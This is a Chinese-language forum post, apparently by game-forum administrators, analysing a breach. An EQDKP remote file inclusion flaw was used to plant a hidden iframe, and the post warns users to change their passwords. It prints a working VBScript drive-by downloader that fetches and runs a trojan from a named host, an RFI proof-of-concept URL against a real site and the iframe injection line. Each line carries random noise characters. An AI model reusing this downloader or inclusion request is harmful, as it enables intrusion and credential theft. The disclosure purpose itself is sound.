首先，先聲明，這是篇關於論壇安全的技術報告，有興趣的人再進去讀
Y~=5umNSX [KWF7GQi 這幾天，流金歲月論壇被攻擊了，遭人攻破後台程序，並置入一個管理員
z-[Jbjhd 然後修改流金的頁面中放入一個隱藏的連結，iframe到別的網頁
[lS'GszA 然後才從別的網頁下載一個木馬到本機。
pSQ3 SM aEXV^5;,pJ 研判攻擊目標：各大網遊網站，有升級，有積分的網站
QC4_\V>[ 研判攻擊目的：竊取個人上網遊站密碼，伺機盜取「寶物」、「積分」
.^@+$} i/O!bq[o 很不幸的，流金歲月論壇也遭到了波及~~~~~~~~~~
4}580mBc 這次是大面積的爆發，很多論壇網站都有相同的問題。
4TG| 7`X"B*`~b 目前只要有裝防毒的應該都不會有影響，而且目前也正在查殺檔案中
;}f%b E )t&|oQ3sVG 站台管理員目前已採取動作及對策如下：
/qI80KVnN BOL _kp" 一、目前遭植入的iframe木馬連結，在網頁原始碼中完全見不到，已查殺了部份，可能還有殘留 ?jw)%{iKYV
二、目前已更新論壇最新補丁包，後台程序更新，再一步一步更新的到前台，請網友務必留意 8i-?\VZD
三、有裝防毒軟件的應該都可以擋得掉(但不見得能殺得掉)，只是目前論壇查殺還在進行中… K/Q;]+D XF\`stEnb 論壇上目前，並沒有實體木馬，而是有「無數個隱藏的iframe的網頁連結到有木馬的網站」
!SJmu}OB] 請網友開啟網頁時，提供相關頁面出現殺毒的報告。
rC_K
L 目前無任何狀況的讀友，就是已經擋掉了
1{o
CMq/v 而會一直出現「攻擊報告」的讀友，盡快去更新！
:KX/` 論壇目前也持續一直在關注後續查殺的動作
=6 論壇希望給大家一個清新又安全的上網環境。
1Od: I}@ 提醒有上網路遊戲的讀友，特別注意最近最好做變更密碼的動作。
zF) _t S \Zo o9Wy
~l6e&J 以上特此說明：
NXeo&+F =============================================================================
}E>2U/wpXY 附上網路轉載的技術分析報告，讓讀者參閱，我已將其原來網站名換更換為「流金」
SKLQAE5 因為中毒的情形是一樣的！
2_r}4)z \_x)E]D 參閱
NWCnt,FlY b% $S6. 從出現問題到現在.流金論壇一直在檢查論壇的相關代碼和後臺訪問記錄.現在事情終於得出了一點頭緒
ui9gt"qS` 但是我想說明的是.不僅是我們.其他很多流金論壇.都在這次大規模洗號中損失慘重
6J%S
kuxR 我想我們該做的.一方面與9C進行交涉處理好這次帳號恢復的事件.因為我們中有一些人已經是第二次需要恢復了.另一方面.查出攻擊者所用的方法和目的
V2, .@j# 1}[\@n+b 另外.從昨天開始我收集了所有論壇的資料源碼.DISCUZ的所有漏洞報告.還有系統注入的一些漏洞報告並檢查了我們的伺服器系統.可以證明的是.並不是作業系統引發的安全漏洞導致流金論壇論壇被攻擊
rU lpo|B dmlh;Z 好了.說再多可能大家也沒有太多時間去關心.以下是關於本次流金論壇論壇被注入的一些詳細說明和一些比較專業的解釋.請奈心看完這篇文章.並相信語文和流金論壇管理組會同9C協商給大家圓滿的解決這次事件
Syp|s3u; L 8bq3Q'p 這裏先給大家做幾點說明
MLBZmM ' 1.流金論壇論壇本身沒有任何木馬程式.也就是說並不是通過上傳木馬程式到伺服器來達到的攻擊目的
z@~1
e]% 2.雖然流金論壇論壇本身沒有任何木馬程式.但是流金論壇論壇被植入IFrame語句.被隱藏了另一個網頁程式.而另一個網頁(遠程的fxfqiao.com/laopo/black.htm,此為木馬所有網頁.請大家不要訪問.出了問題概不負責)就是這次惡夢的最魁禍首了
nkhM1y 3.這次大家中毒的始末.訪問流金論壇論壇.論壇首頁被放置了IFrame連接了另一個網頁.所以另一個網頁自動打開.而另一個網頁中包含木馬.之後在你不知情的情況下木馬默默的進入了你的機器
KN}[N+ V> 9-Ib+/R0 附:下邊是我冒死在這網頁上解析出來的東西並加了一些說明.不怕死的有興趣的可以去那個網頁看看
7MGc+M(p ---------------------網頁病毒.不懂請勿隨意複製-------------------------------------------
% Pa-fee Set df = document.createElement("object") '創建項目
MM'<uy df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" '對項目進行36位全球唯一碼編號
Crpk q/ M Set x = df.CreateObject("Microsoft.XMLHTTP,"") '創建一個XMLHTTP專案(用來傳輸資料)
H:[z #f|t set SS = df.createobject("ADODB.Stream","") '創建一個ADOBD資料流程格式(資料媒介)
Om}&`AP}; SS.type = 1 '類型.1好像是2進制.具體忘了
cR@z^ x.Open Get, "
http://fxfqiao.com/laopo/1.exe", False '打開遠端檔,這個就是木馬檔了
a pY m,_ x.Send '發送
J)jiI> set F = df.createobject("Scripting.FileSystemObject","") '創建一個檔專案(用來把資料流程還原成檔)
&~E
=T3 set tmp = F.GetSpecialFolder(2) '這句好像是獲得文件夾
y9 s5{\H SS.open ''
~d{E> J77j fname1= F.BuildPath(tmp,"svchost.exe") '注入到svchost.exe
C
2oll-kN SS.write x.responseBody '把遠程文件寫入資料流程中
/cI]Z^& SS.savetofile fname1,2 '把資料流程存為文件.並且是直接寫到svchost.exe的Hook好像,到這裏.你的機器已經中毒
.)cOu> set Q = df.createobject(Shell.Application,"") '創建一個Shell
"a,Tc2xk Q.ShellExecute fname1,"","","open",0 '到這裏.你的病毒開始發揮作用
=[1 W .Z t -------------------------------------------------------------------------------------------------
2vWkAC; WR'A%"qBwi 之後.我們分析了所有系統的參數傳遞規則
uT-WQ/id 確實.4.0R3的Discuz論壇確實存在一個可被注入IFrame的漏洞.可惜我們的論壇版本並不是有漏洞的R3版本
gmLw. |- 雖然不是這版本.但是為了驗論系統確實沒有問題.我也做了一系統的攻擊測試.並沒有發現論壇的相關漏洞
l
q.0?( 而寫我們的論壇是禁止上傳GIF頭像的.也就是說GIF的木馬也是無法傳遞的
Iu1P}R>C "g=ux^+X\ 那麼迷底是什麼呢?
+nJ}+|@K 我想大家有些人應該已經知道了.流金論壇的DKP系統關閉了.
r4D66tF
是的.DKP系統的結構和DKP系統本身存在著相當嚴重的安全漏洞.
oAvJ"JH@i /
%xK-z,V 簡單的說遠端攻擊者可以利用漏洞以WEB進程許可權執行任意PHP命令。
Wc,8<Y' 具體情節是'dbal.php'腳本對用戶提交的'eqdkp_root_path'參數缺少過濾
]|[xY8 5} 指定遠端伺服器上的任意檔作為包含對象,可導致以WEB許可權執行任意PHP代碼
cK-!Evv
zZiB`% 之後我拿兩個不同的伺服器做了兩次實驗.好吧.如果你們不信.看看這個
,{oP`4\Lm {'!D2y.7g 實驗一:
H>DJ-lG( "
http://www.vanex.cn/mc/includes/dbal.php?eqdkp_root_path=http://forhonor.cn/logging.php?action=logout"
)@ K|Co 現在執行的"
http://forhonor.cn/logging.php?action=logout"其實並沒有在Forhonor.cn所在的伺服器上執行
u'32nf? 而是在"
http://www.vanex.cn"的伺服器上執行了相關PHP代碼.只不過這個代碼來自於Forhonor.cn
(Nik( Oyj" 簡單的說.通過DKP系統,我在伺服器1上執行了伺服器2上的代碼.而這個代碼的主人是伺服器2.卻在伺服器1上被執行.
nosEo? { 舉個簡單的例子.本來我需要用一個鑰匙進行開鎖.正常情況下.我用伺服器2的鑰匙在伺服器2上進行開鎖行為.之後伺服器2上開鎖成功
cz T@ txF 但是這一切都將改變.同樣.我在伺服器上用伺服器2的鑰匙進行開鎖行為.之後.伺服器1就像伺服器2一樣.接受了我的開鎖請示.之後服務1的鎖開了...
` gss(o1} 我想說到這裏.大家也明白這一切代表著什麼意味著什麼.
IZ2#jSDn 實驗一並沒有任何惡意代碼和功能.只是為了說明該漏洞的存在性
v(: VUo]H :A[bqRqe 之後.實驗二(安全起見只進行簡單描述.不提供具體步驟):
(n`\ b47 我在自己的伺服器(簡稱A)上上傳了一個網頁Shell(類似於在網頁上執行CMD命令行一樣)
k*!J,/=k 然後我通過別人的伺服器(簡稱B)的DKP系統運行了A上邊的Shell...
RhQ Ol9 之後..我得到了B伺服器的檔路徑.B伺服器的所有檔的名稱
,E>VYkoA 再之後.我在B伺服器建立一個PHP網頁用來執行MySQL命令
A<TJ3Jp] 之後.我執行了一個很簡單的資料插入語句.然後我想大家明白了.我對他們的論壇資料庫進行了資料插入.增加了一個用戶並使自己成為了管理員
l^Lg"m2 }kOhwT8sI ------------------------------------------------------------------------------------
7# g C(&\A 我試圖對所有的EQDKP系統進行測試.然後我用Google隨便在網上查了一下裝備.之後出來了好多DKP系統的網址...
s?`)[K'- 可以說.所有查到的EQDKP都存在這樣的漏洞
aD&10b9` 所以這也是為什麼大多數流金論壇都被入侵的原因.我想沒有任何一個流金論壇不使用DKP吧.尤其是在EQDKP系統普及的今天
#;mZ3[+i5 (nE$};c<b2 -----------------------------------------------------------------------------------
YF:NRY[i 再之後.讓我們看看這個惡毒的人做了什麼吧
ZV Gw@3 使用DKP漏洞上傳更為強大的後門程式或是直接獲得論壇超級管理員許可權(我相論壇的截圖大家也看到了.SuperJack.UID=1.這個1是什麼概念.我想大家也明白.一般情況這個1就是指第一個在論壇註冊的人.也就是說一般就是論壇的建造者)
f A 3 使用論壇超級管理員帳號進行流金論壇論壇後臺增加一個簡單的文字描述:
H/, tE0ZV Iframe Scr="
http://fxxxx.xxxxxx/black.htm" width=0 height=0
_K;rM 7 之後神不知鬼不覺的使我們的論壇附加了一個這樣的網頁.並且不可見.然後出現了像今天一樣大模規的盜號行為
fmSw%r|pT } KMdfA -----------------------------------------------------------------------------------
h M8 G"b 最後.我只是說一點.這個病毒是前幾天才發現
p19 Zxh 直至今日.Rising這種國內出名的殺毒大戶也不能查到這個病毒.哪怕你把這個病毒放在他眼皮子底下告訴他去查一下這個東西.他也會告訴你.這個東西很安全...
^k)f oD uq 6T|Zm 另外.此次盜號規模相當龐大.因為只要涉及到EQDKP系統沒有修正BUG的網站.基本上無一倖免
[ B (lJz 現在.請你不要慶倖你的帳號還安心的穿著衣服帶著錢財正常的下副本.PK或是打怪
W6_3f-4g 一種可能.現在攻擊者手中已經有大量的帳號.對於你的裝備或者那點錢財根本不在乎.所以你才能倖免.因為沒人對乞丐有那麼大的興趣
"(C }Dn# 另一種可能.攻擊者現在對於手上的帳號已經無法來的及處理.所以只可能他現在忙著扒別人的裝備拿別人的錢財.不過我想.很快會輪到你的..
Hb]7>[L fptW#_V2 所以.不管是對於這次的大規模盜號事件還是將來.我們都應該保持著一份警惕.及時升級你的軟體和殺毒軟體.經常性的檢查進程和檔夾中的檔.另外.請及時更新密碼
n[iil$VKh !Uj !Oy 最後說明一點:盜號是違法的.尤其是像這種大規模帳號被盜事件.一旦被查出攻擊者是何人.不管出於法律還是社會.我想.法律是很多人怕的.但是也別忘了.網路暴力流行的今天.只要讓人查出攻擊者的一些資訊.我想.攻擊者也不會有什麼好日子過了.
sdO;vp^:b 提醒大家:網路流氓多.從事盜號需謹慎. 以下技術請勿模仿.出現問題一律不負責
